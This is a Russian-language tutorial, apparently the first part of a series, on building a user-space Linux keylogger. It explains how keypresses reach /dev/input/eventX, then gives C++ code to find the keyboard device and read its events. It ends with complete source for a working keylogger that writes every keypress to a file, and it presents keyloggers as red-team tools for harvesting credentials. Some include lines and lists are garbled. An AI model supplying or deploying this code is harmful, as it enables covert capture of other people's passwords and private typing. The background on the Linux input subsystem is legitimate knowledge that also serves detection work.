Первая часть полного руководства по кейлоггингу в Linux будет посвящена основам кейлоггинга и его важности в сфере обеспечения безопасности Linux. Мы подробно разберем кейлоггинг в пользовательском пространстве и покажем как написать кейлоггер для Linux, считывающий нажатия с клавиатуры устройства.
Кейлоггер – программа, скрытно регистрирующая различные действия пользователя. Чаще всего отслеживаются нажатия клавиш на клавиатуре компьютера. В зависимости от дизайна, кейлоггеры способны работать как в пространстве ядра, так и в пространстве пользователя. В этой статье мы рассмотрим кейлоггинг в пространстве пользователя.
Чаще всего кейлоггеры используют на аудитах информационной безопасности. Специалисты из красной команды используют различные инструменты для взлома целевой системы, проникновения в инфраструктуру и кражи ценных данных. Это необходимо, чтобы найти и раскрыть различные уязвимости в системах безопасности целевой организации. Кейлоггеры – один из инструментов красной команды, которые часто используются в реальных атаках. С их помощью собирают учетные данные, необходимые для проникновения в инфраструктуру организации.
Специалистам Offensive Security или красной команде:
Специалистам Defensive Security или синей команде:
Чтобы написать кейлоггер, нам нужно знать как работает клавиатура в Linux. Ниже показано то, как клавиатура вписывается в общую схему:
/-----------+-----------\ /-----------+-----------\ | app 1 | app 2 | | app 3 | app 4 | \-----------+-----------/ \-----------+-----------/ ^ ^ | | +-------+ | | | | key symbol keycode | | + modifiers | | | | | +---+-------------+ +-----------+-------------+ + X server | | /dev/input/eventX | +-----------------+ +-------------------------+ ^ ^ | keycode / scancode | +---------------+---------------+ | | +---------------+--------------+ interrupt | kernel | <--------=-------+ +------------------------------+ | | +----------+ USB, PS/2 +-------------+ PCI, ... +-----+ | keyboard |------------------->| motherboard |----------->| CPU | +----------+ key up/down +-------------+ +-----+
Здесь клавиатура не передает ASCII-код нажатой клавиши. Она передает уникальный байт на каждое событие нажатия и отпускания клавиши (keydown
и keyup
), который называется кодом клавиши или скан-кодом (keycode
или scancode
). Когда клавиша нажата или отпущена, она передает скан-код материнской плате через интерфейс, к которому подключена. Материнская плата обнаружит произошедшее событие клавиатуры (например, keydown
и/или keyup
) и запустит прерывание для CPU.
CPU видит это прерывание и запускает специальный фрагмент кода, называемый обработчиком прерывания (который приходит из ядра и регистрируется путем заполнения таблицы дескрипторов прерываний). Обработчик прерывания принимает информацию, переданную клавиатурой, и передает ее ядру, которое выводит ее через специальный путь в devtmpfs (/dev/input/eventX
).
В ОС с GUI, X-сервер принимает скан-коды от ядра, после чего преобразует их в символ клавиши (key symbol) и соответствующие метаданные (modifiers). Этот слой обеспечивает правильное применение настроек локали и карты клавиатуры. Все GUI-приложения, запущенные в системе, получают события от X-сервера и, следовательно, получают обработанные данные о событиях.
Изучив основы, мы можем выбрать метод работы нашего будущего кейлоггера:
/dev/input/eventX
является клавиатурным устройством и будет напрямую считывать данные из этого файла.Определить клавиатуру или устройство, заменяющее ее, довольно просто:
/dev/input/
;В системе может быть не одна клавиатура, или устройства, заменяющие ее (сканеры штрих-кодов). В таких случаях можно попытаться проверить поддержку нескольких клавиш. Чтобы отсеять ненужные устройства, можно считать все клавиши и обработать записанные данные.
Так можно итерировать каталоги и искать символьные файлы в C++17:
std::string get_kb_device() { std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) { std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) { kb_device = p.path().string(); } } return kb_device; }
А вот проверить то, что файл действительно принадлежит клавиатуре и поддерживает клавиши, встречающиеся на реальных клавиатурах, немного сложнее:
Пример кода для вышеописанной логики приведен ниже:
std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) { std::cerr << "Error: " << strerror(errno) << std::endl; continue; } int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) { ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) { // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; } } close(fd);
Как только мы нашли клавиатуру или устройство, заменяющее ее, реализовать считывани события очень просто:
input_event
`;EV_KEY
(т.е. событием нажатия клавиши);Структура `input_event`
выглядит так:
struct input_event { #if (__BITS_PER_LONG != 32 || !defined(__USE_TIME_BITS64)) && !defined(__KERNEL__) struct timeval time; #define input_event_sec time.tv_sec #define input_event_usec time.tv_usec #else __kernel_ulong_t __sec; #if defined(__sparc__) && defined(__arch64__) unsigned int __usec; unsigned int __pad; #else __kernel_ulong_t __usec; #endif #define input_event_sec __sec #define input_event_usec __usec #endif __u16 type; __u16 code; __s32 value; }
Рассмотрим переменные в структуре:
`time`
– временная метка, возвращающая время, в которое произошло событие.``type`
– тип события, заданный в /usr/include/linux/input-event-codes.h.
В случае события клавиатуры он будет **EV_KEY**
.``code`
– код события, заданный в /usr/include/linux/input-event-codes.h.
В случае события клавиатуры он станет скан-кодом.``value`
– значение события. Оно может может показывать относительное изменение EV_REL
, совершенно новое значение EV_ABS. В EV_KEY
оно принимает значение 0 для keyup
, 1 для keydown
и 2 для автоповтора.Чтобы сопоставить скан-код и название клавиши, можно воспользоваться таким способом:
std::vector keycodes = { "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" };
Для полноты картины ниже приведен полный исходный код кейлоггера:
#include #include #include #include #include#include #include #include #include #include #include std::vector keycodes = { "RESERVED", "ESC", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "MINUS", "EQUAL", "BACKSPACE", "TAB", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "LEFTBRACE", "RIGHTBRACE", "ENTER", "LEFTCTRL", "A", "S", "D", "F", "G", "H", "J", "K", "L", "SEMICOLON", "APOSTROPHE", "GRAVE", "LEFTSHIFT", "BACKSLASH", "Z", "X", "C", "V", "B", "N", "M", "COMMA", "DOT", "SLASH", "RIGHTSHIFT", "KPASTERISK", "LEFTALT", "SPACE", "CAPSLOCK", "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "NUMLOCK", "SCROLLLOCK" }; int loop = 1; void sigint_handler(int sig) { loop = 0; } int write_all(int file_desc, const char *str) { int bytesWritten = 0; int bytesToWrite = strlen(str); do { bytesWritten = write(file_desc, str, bytesToWrite); if(bytesWritten == -1) { return 0; } bytesToWrite -= bytesWritten; str += bytesWritten; } while(bytesToWrite > 0); return 1; } void safe_write_all(int file_desc, const char *str, int keyboard) { struct sigaction new_actn, old_actn; new_actn.sa_handler = SIG_IGN; sigemptyset(&new_actn.sa_mask); new_actn.sa_flags = 0; sigaction(SIGPIPE, &new_actn, &old_actn); if(!write_all(file_desc, str)) { close(file_desc); close(keyboard); std::cerr << "Error: " << strerror(errno) << std::endl; exit(1); } sigaction(SIGPIPE, &old_actn, NULL); } void keylogger(int keyboard, int writeout) { int eventSize = sizeof(struct input_event); int bytesRead = 0; const unsigned int number_of_events = 128; struct input_event events[number_of_events]; int i; signal(SIGINT, sigint_handler); while(loop) { bytesRead = read(keyboard, events, eventSize * number_of_events); for(i = 0; i < (bytesRead / eventSize); ++i) { if(events[i].type == EV_KEY) { if(events[i].value == 1) { if(events[i].code > 0 && events[i].code < keycodes.size()) { safe_write_all(writeout, keycodes[events[i].code].c_str(), keyboard); safe_write_all(writeout, "\n", keyboard); } else { write(writeout, "UNRECOGNIZED", sizeof("UNRECOGNIZED")); } } } } } if(bytesRead > 0) safe_write_all(writeout, "\n", keyboard); } std::string get_kb_device() { std::string kb_device = ""; for (auto &p : std::filesystem::directory_iterator("/dev/input/")) { std::filesystem::file_status status = std::filesystem::status(p); if (std::filesystem::is_character_file(status)) { std::string filename = p.path().string(); int fd = open(filename.c_str(), O_RDONLY); if(fd == -1) { std::cerr << "Error: " << strerror(errno) << std::endl; continue; } int32_t event_bitmap = 0; int32_t kbd_bitmap = KEY_A | KEY_B | KEY_C | KEY_Z; ioctl(fd, EVIOCGBIT(0, sizeof(event_bitmap)), &event_bitmap); if((EV_KEY & event_bitmap) == EV_KEY) { // The device acts like a keyboard ioctl(fd, EVIOCGBIT(EV_KEY, sizeof(event_bitmap)), &event_bitmap); if((kbd_bitmap & event_bitmap) == kbd_bitmap) { // The device supports A, B, C, Z keys, so it probably is a keyboard kb_device = filename; close(fd); break; } } close(fd); } } return kb_device; } void print_usage_and_quit(char *application_name) { std::cout << "Usage: " << application_name << " output-file" << std::endl; exit(1); } int main(int argc, char *argv[]) { std::string kb_device = get_kb_device(); if (argc < 2) print_usage_and_quit(argv[0]); if(kb_device == "") print_usage_and_quit(argv[0]); int writeout; int keyboard; if((writeout = open(argv[1], O_WRONLY|O_APPEND|O_CREAT, S_IROTH)) < 0) { std::cerr << "Error opening file " << argv[1] << ": " << strerror(errno) << std::endl; return 1; } if((keyboard = open(kb_device.c_str(), O_RDONLY)) < 0) { std::cerr << "Error accessing keyboard from " << kb_device << ". May require you to be superuser." << std::endl; return 1; } std::cout << "Keyboard device: " << kb_device << std::endl; keylogger(keyboard, writeout); close(keyboard); close(writeout); return 0; }
Цифровые следы - ваша слабость, и хакеры это знают. Подпишитесь и узнайте, как их замести!